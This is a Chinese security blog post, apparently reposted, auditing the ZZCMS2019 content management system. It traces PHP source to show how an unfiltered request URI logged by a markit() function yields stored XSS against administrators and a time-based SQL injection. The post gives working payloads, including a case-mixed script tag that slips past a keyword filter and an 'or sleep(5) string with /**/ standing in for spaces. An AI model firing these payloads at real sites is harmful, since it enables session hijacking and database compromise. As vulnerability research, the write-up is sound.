原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

admin 2021年4月25日07:26:03评论103 views字数 1129阅读3分45秒阅读模式

前言

这套CMS被大手子们审计烂了。。。我这个菜鸡只能抢口剩汤喝喝。。

存储型XSS

这套CMS搭建完成后是这样的

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

先从功能点入手,注册个账号,看看有什么权限

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

用户中心显示的功能比较少,但是目录已经出来了domain/user/

进目录看看文件,其中ask.php这个文件引起了我的注意

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

直接访问看看

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

哦豁?空的?眉头一皱发现没那么简单

就从这个文件开始入手

首先在48行左右发现了GET传递的do参数

```php
<?php
$do=isset($_GET['do'])?$_GET['do']:'';
switch ($do){
case "add";add();break;
case "modify";modify();break;
}

```

分别看下两个函数干了什么

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

```php
//add函数
function add(){
$tablename="zzcms_ask";
include("checkaddinfo.php");
?>

发布问答信息
      <tr id="trkeywords">
        <td align="right" class="border" >悬赏积分:</td>
        <td class="border" ><select name="jifen" id="jifen">
          <option value="0" selected="selected">0</option>
          <option value="5">5</option>
          <option value="10">10</option>
          <option value="20">20</option>
          <option value="30">30</option>
        </select>
        <?php      
    $rs=query("select totleRMB from zzcms_user where username='" .$_COOKIE["UserName"]. "'");
    $row=fetch_array($rs);
    echo "您的积分:".$row['totleRMB'];
        ?>            </td>
      </tr>

      <tr> 
        <td align="right" class="border">&nbsp;</td>
        <td class="border"> <input name="Submit" type="submit" class="buttons" value="发布">
          <input name="action" type="hidden"  value="add"></td>
      </tr>
    </table>

<?php
}
```

简单看了下没多大问题,再来看看第二个函数

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

```php
//modify函数
function modify(){
global $username;
?>

修改问答信息

$sqlzx="select * from zzcms_ask where id='$id'";
$rszx =query($sqlzx);
$rowzx = fetch_array($rszx);
if ($id<>0 && $rowzx["editor"]<>$username) {
markit();
showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
}
?>

.......省略
```

首先获取了下pageid并使用checkid函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit();函数,并且返回警告信息

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

另外注意到在showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');这行上面调用了markit()这个函数,跟进去看看

incfunction.php的138行左右

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

php
//$_SERVER['HTTP_REFERER'];//上页来源
function markit()
{
$userip = $_SERVER["REMOTE_ADDR"];
//$userip=getip();
$url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");
}
//$url为当前页的URI(URL+参数),这个可控
//$_COOKIE["UserName"]为cookies中的用户名,

拼接了SQL语句,并且没有过滤,总结下目前情况

  1. 首先获取了下pageid并使用checkid函数进行了检查,虽然下面有拼接SQL语句,但是绕过比较麻烦,然后对当前页面所有权进行了检测,如果不是当前页的作者就调用markit()函数,并且返回警告信息。
  2. 要触发markit()函数需要满足条件如下
  3. do参数为modify
  4. page参数不能为你发布的且为数字
  5. id参数同上

另外还需要注意在全局过滤函数中有这么一行

php
<?php
//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
}

那么构造payload如下domain/user/ask.php?do=modify&page=1&id=1&aaa=<ScriPt>alert(/xss/)</ScRiPt>

然后使用burpsuite发包

可以看到触发了警告信息

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

当管理员查看不良操作时,熟悉的弹框就出来了

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

SQL注入

还是markit()函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?

先看看这个query函数怎么执行的

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

可以看到直接带入mysqli_query,那么尝试构造下payload

原始SQL语句

sql
insert into zzcms_bad (username,ip,dose,sendtime)
values
('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')

既然只有$url可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()函数

insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

OK 成功,那么直接构造就行了

GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1

结果发现并没有执行

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

在函数中dump下$url看看原因

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

发现被url中的空格截断了

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

那么直接用注释/**/替换

原创干货 | ZZCMS2019从存储型XSS到前台SQL注入

成功睡眠5秒,证明存在SQL注入。

相关推荐: DNS隧道技术绕过防火墙

0x01 概念隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月25日07:26:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创干货 | ZZCMS2019从存储型XSS到前台SQL注入http://cn-sec.com/archives/246234.html
  • 目录
  • 在线咨询

    13688888888
    QQ在线咨询

    微信

    微信
  • CN-SEC 中文网

    本页二维码

类别(必填) <?php
$sql = "select * from zzcms_askclass where parentid<>0 order by xuhao asc";
$rs=query($sql);
?>


标题(必填)
内容(必填)